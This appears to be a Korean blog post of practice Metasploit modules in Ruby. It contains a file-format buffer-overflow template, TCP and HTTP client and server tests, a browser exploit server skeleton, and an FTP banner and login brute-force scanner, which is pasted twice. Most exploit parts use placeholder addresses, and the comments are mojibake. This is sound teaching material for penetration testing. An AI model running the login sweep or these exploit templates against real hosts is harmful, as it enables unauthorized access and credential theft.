모의해킹/metasploit(고급)

실습 - 모듈 기능 구현

RNRF 2021. 11. 17. 15:47

* 파일 만들기
: 탬플릿 코드에 기능을 입히는 방법과 파일 포맷이라는 믹스인을 사용해서 커스텀 파일을 생성하고, 안에 버퍼를 채우는 방법을 설명했다

 ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "File Format Exploit Test",
      'Description'    => %q{
        file format type exploit basic code
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jun' ],
      'References'     =>
        [
          [ 'URL', 'www.boanproject.com' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ '1.0', { 'Ret' => 0x41414141 } ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))

	  register_options(
		[
			OptString.new('FILENAME',[true, 'file name', 'msf.m3u']),
			OptBool.new('TEST', [false, 'choose your destiny'])
		], self.class)
	  


  end

  def check # ¹«Á¶°Ç ÇÊ¿äÇϳª, ºÒ°¡´ÉÇÑ °æ¿ì¿¡´Â ¾ø¾îµµ µÊ
    # For the check command
  end

  def exploit
    buf = ""
	buf << rand_text(1024)
	buf << [target.ret].pack('V')
	buf << make_nops(10)
	buf << payload.encoded


	file_create(buf)
	print_status("File is created: #{datastore['FILENAME']}")
    print_warning("Warning Test")
	print_error("Error Test")
  end

end

* TCP 통신 (C - tcp socket programming을 공부하는것을 추천)
: TCP Client와 TCP Server를 만들어본다
-> Client : Hello >> Server : World

 ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
	
  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => "tcp client test",
      'Description'    => %q{
        tcp client test
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jun' ],
      'References'     =>
        [
          [ 'URL', 'www.boanproject.com' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ '1.0', { 'Ret' => 0x41414141 } ],
		  [ '1.1', { 'Ret' => 0x42424242 } ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))
  end

  def check # ¹«Á¶°Ç ÇÊ¿äÇϳª, ºÒ°¡´ÉÇÑ °æ¿ì¿¡´Â ¾ø¾îµµ µÊ
	connect
	res = sock.get_once
	disconnect

	if res =~ /world/
		return Exploit::CheckCode::Vulnerable
	else
		return Exploit::CheckCode::Safe
	end
  end

  def exploit
	data = "hello"
	
	begin
		connect
		sock.put(data)
		print_status("data send complete")
		res = sock.get_once
		print_status("get data from server: #{res}")

	rescue Rex::AddressInUse, Rex::HostUnreachable => e
		elog("#{e.class} #{e.message}")
	ensure
		disconnect
	end
  end

end


: TCP Client, Server를 만들어봤으며, 체크 함수, 예외 처리하는 것까지 살펴보았다

 ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'pry'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
	
  include Msf::Exploit::Remote::TcpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "tcp server test",
      'Description'    => %q{
        tcp client test
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jun' ],
      'References'     =>
        [
          [ 'URL', 'www.boanproject.com' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ '1.0', { 'Ret' => 0x41414141 } ],
		  [ '1.1', { 'Ret' => 0x42424242 } ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))
  end

  def check # ¹«Á¶°Ç ÇÊ¿äÇϳª, ºÒ°¡´ÉÇÑ °æ¿ì¿¡´Â ¾ø¾îµµ µÊ
    # For the check command
  end

  def on_client_connect(client)
	buf = "world"
	print_warning("new client is connected #{client.getpeername}")
	
#	binding.pry
#	get_data = client.get
#	print_warning("Data from client: #{get_data}")
	
	client.put(buf)
	print_warning("data send complete")
	
	service.close_client(client)

  end

end

* http 클라이언트
: http 통신 기능을 구현해본다

 ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'pry'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
	
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "http client test",
      'Description'    => %q{
        tcp client test
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jun' ],
      'References'     =>
        [
          [ 'URL', 'www.boanproject.com' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ '1.0', { 'Ret' => 0x41414141 } ],
		  [ '1.1', { 'Ret' => 0x42424242 } ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))
  
	  register_options(
			  [
				OptString.new('TARGETURI', [true, 'base path', '/'])
			  ], self.class)
	  
	  end

  def exploit
  
	uri = target_uri.path
  
	res = send_request_cgi({
		'method'	=> 'GET',
		'uri'		=> normalize_uri(uri,'index.php'),
		'vars_get'  => {
			'username' => "hello",
			'password' => "world"
		}
	})
	binding.pry	
	if res && res.code == 200
	  print_good("access completed")
	  print_status("#{res}")
	else
		print_error("no access")
	end
	  
  end
  
  end

* http 서버

 ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'pry'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
	
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "http server test",
      'Description'    => %q{
        tcp client test
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jun' ],
      'References'     =>
        [
          [ 'URL', 'www.boanproject.com' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ '1.0', { 'Ret' => 0x41414141 } ],
		  [ '1.1', { 'Ret' => 0x42424242 } ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))
 
	end
	
	def world_page(cli)
		
		js = %Q|
			alert('hello BoanProject');
		|
		
		js = ::Rex::Exploitation::JSObfu.new(js)
		js = js.obfuscate

		html = %Q|
		<html>
		<script>#{js}</script>
		welcome to the real world!
		</html>
		|

		send_response(cli, html)
	end

	def fake_page(cli)
		html = "one step more"
		send_response(cli, html)
	end

	def on_request_uri(cli, request)
		print_status("client requests URI: #{request.uri}")
		html = "not hello"
		
		case request.uri 
		when /none\.html$/
			send_not_found(cli)
		when /hello\.html$/
			send_redirect(cli, location='fake.html')
		when /world\.html$/
			world_page(cli)
		when /fake\.html$/
			fake_page(cli)
		else
			send_response(cli, html)
		end
	
	end
  
  end

* browser exploit 서버

 ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'pry'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
	
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "browser exploit server test",
      'Description'    => %q{
        tcp client test
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jun' ],
      'References'     =>
        [
          [ 'URL', 'www.boanproject.com' ]
        ],
      'Platform'       => 'win',
	  'BrowserRequirements' =>
	  {
		:source		=> /script|headers/i,
		:ua_name	=> Msf::HttpClients::IE,
		:os_name	=> OperatingSystems::Match::WINDOWS_XP,
		:arch		=> ARCH_X86,
		:flash		=> /17\.0\.0\.134/
	  },
      'Targets'        =>
        [
          [ '1.0', { 'Ret' => 0x41414141 } ],
		  [ '1.1', { 'Ret' => 0x42424242 } ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))
 
	end
	

	def on_request_exploit(cli, request, target_info)
		print_status("Request: #{request.uri}")
		
		if request.uri =~ /\.swf$/
			print_status("seding swf...")
			send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
			return 
		end

		send_exploit_html(cli, exploit_template(cli, target_info))

	end

	def exploit_template(cli, target_info)
		swf = "msf.swf"

		http_template = %Q|
		<html>
		<body>
		<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://downaload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="500" height="500" />
		<param name="movie" value="#{swf}" />
		<param name="allowScriptAccess" value="always" />
		<param name="quality" value="high" />
		<embed type="application/x-shockwave-flash" quality="high" align="midle" src="#{swf}" /></emed>
		</object>
		</body>
		</html>
		|
		
		return http_template, binding()
	end
  
	def exploit
		@swf = create_swf
		super
	end
	
	def create_swf
		path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-9999-9999', 'msf.swf')
		fd = ::File.open(path, 'rb')
		swf = fd.read(fd.stat.size)
		fd.close
		return swf
	end


  end

* MSF와 연결된 메모리 보호 기법

* FTP 스캐너(1)
: version check

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner # rhost -> rhosts / + threads
include Msf::Auxiliary::Report # db

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FTP version check',
      'Description'    => %q{
        ftp version check module.
      },
      'Author'         => [ 'Jun' ],
      'License'        => MSF_LICENSE
    ))
  end

  def run_host(target_host)
	
	res = connect

	if(banner)
		print_status("#{rhost}:#{rport} Ftp banner: #{banner}")
		report_service(
				:host => rhost,
				:port => rport,
				:name => "ftp",
				:info => banner
				)
	end

	disconnect

  end

end

* FTP 스캐너(2)
: LoginScanner 구현

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ftp'
require 'pry'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute

  def proto
    'ftp'
  end

  def initialize
    super(
      'Name'        => 'FTP Authentication Scanner',
      'Description' => %q{
        This module will test FTP logins on a range of machines and
        report successful logins.  If you have loaded a database plugin
        and connected to a database this module will record successful
        logins and hosts so you can track your access.
      },
      'Author'      => 'todb',
      'References'     =>
        [
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::Proxies,
        Opt::RPORT(21),
        OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false])
      ]
    )

    deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password'
    @accepts_all_logins = {}
  end


  def run_host(ip)

	res = connect
	if(banner)
		print_status("#{rhost}:#{rport} Ftp banner: #{banner}")
		report_service(
				:host => rhost,
				:port => rport,
				:name => "ftp",
				:info => banner
				)
	end

    print_status("#{ip}:#{rport} - Starting FTP login sweep")

    cred_collection = Metasploit::Framework::CredentialCollection.new(
        blank_passwords: datastore['BLANK_PASSWORDS'],
        pass_file: datastore['PASS_FILE'],
        password: datastore['PASSWORD'],
        user_file: datastore['USER_FILE'],
        userpass_file: datastore['USERPASS_FILE'],
        username: datastore['USERNAME'],
        user_as_pass: datastore['USER_AS_PASS'],
        prepended_creds: anonymous_creds
    )

    cred_collection = prepend_db_passwords(cred_collection)

    scanner = Metasploit::Framework::LoginScanner::FTP.new(
        host: ip,
        port: rport,
        proxies: datastore['PROXIES'],
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
#       bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
#       max_send_size: datastore['TCP::max_send_size'],
#       send_delay: datastore['TCP::send_delay'],
#       connection_timeout: 30,
#       framework: framework,
#       framework_module: self,
#       ssl: datastore['SSL'],
#       ssl_version: datastore['SSLVersion'],
#       ssl_verify_mode: datastore['SSLVerifyMode'],
#       ssl_cipher: datastore['SSLCipher'],
#       local_port: datastore['CPORT'],
#    local_host: datastore['CHOST']
    )

    scanner.scan! do |result|
	credential_data = result.to_h
      credential_data.merge!(
          module_fullname: self.fullname,
          workspace_id: myworkspace_id
      )
      if result.success?
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)

        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
      else
        invalidate_login(credential_data)
        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
      end
    end

  end


  # Always check for anonymous access by pretending to be a browser.
  def anonymous_creds
    anon_creds = [ ]
    if datastore['RECORD_GUEST']
      ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password|
        anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password)
      end
    end
    anon_creds
  end

  def test_ftp_access(user,scanner)
    dir = Rex::Text.rand_text_alpha(8)
    write_check = scanner.send_cmd(['MKD', dir], true)
    if write_check and write_check =~ /^2/
      scanner.send_cmd(['RMD',dir], true)
      print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access")
      return 'Read/Write'
    else
      print_status("#{rhost}:#{rport} - User '#{user}' has READ access")
      return 'Read-only'
    end
  end


end

 

: Version Check + LoginScanner 구현 (= 응용)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ftp'
require 'pry'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute

  def proto
    'ftp'
  end

  def initialize
    super(
      'Name'        => 'FTP Authentication Scanner',
      'Description' => %q{
        This module will test FTP logins on a range of machines and
        report successful logins.  If you have loaded a database plugin
        and connected to a database this module will record successful
        logins and hosts so you can track your access.
      },
      'Author'      => 'todb',
      'References'     =>
        [
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::Proxies,
        Opt::RPORT(21),
        OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false])
      ]
    )

    deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password'
    @accepts_all_logins = {}
  end


  def run_host(ip)

	res = connect
	if(banner)
		print_status("#{rhost}:#{rport} Ftp banner: #{banner}")
		report_service(
				:host => rhost,
				:port => rport,
				:name => "ftp",
				:info => banner
				)
	end

    print_status("#{ip}:#{rport} - Starting FTP login sweep")

    cred_collection = Metasploit::Framework::CredentialCollection.new(
        blank_passwords: datastore['BLANK_PASSWORDS'],
        pass_file: datastore['PASS_FILE'],
        password: datastore['PASSWORD'],
        user_file: datastore['USER_FILE'],
        userpass_file: datastore['USERPASS_FILE'],
        username: datastore['USERNAME'],
        user_as_pass: datastore['USER_AS_PASS'],
        prepended_creds: anonymous_creds
    )

    cred_collection = prepend_db_passwords(cred_collection)

    scanner = Metasploit::Framework::LoginScanner::FTP.new(
        host: ip,
        port: rport,
        proxies: datastore['PROXIES'],
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
#       bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
#       max_send_size: datastore['TCP::max_send_size'],
#       send_delay: datastore['TCP::send_delay'],
#       connection_timeout: 30,
#       framework: framework,
#       framework_module: self,
#       ssl: datastore['SSL'],
#       ssl_version: datastore['SSLVersion'],
#       ssl_verify_mode: datastore['SSLVerifyMode'],
#       ssl_cipher: datastore['SSLCipher'],
#       local_port: datastore['CPORT'],
#    local_host: datastore['CHOST']
    )

    scanner.scan! do |result|
	credential_data = result.to_h
      credential_data.merge!(
          module_fullname: self.fullname,
          workspace_id: myworkspace_id
      )
      if result.success?
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)

        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
      else
        invalidate_login(credential_data)
        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
      end
    end

  end


  # Always check for anonymous access by pretending to be a browser.
  def anonymous_creds
    anon_creds = [ ]
    if datastore['RECORD_GUEST']
      ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password|
        anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password)
      end
    end
    anon_creds
  end

  def test_ftp_access(user,scanner)
    dir = Rex::Text.rand_text_alpha(8)
    write_check = scanner.send_cmd(['MKD', dir], true)
    if write_check and write_check =~ /^2/
      scanner.send_cmd(['RMD',dir], true)
      print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access")
      return 'Read/Write'
    else
      print_status("#{rhost}:#{rport} - User '#{user}' has READ access")
      return 'Read-only'
    end
  end


end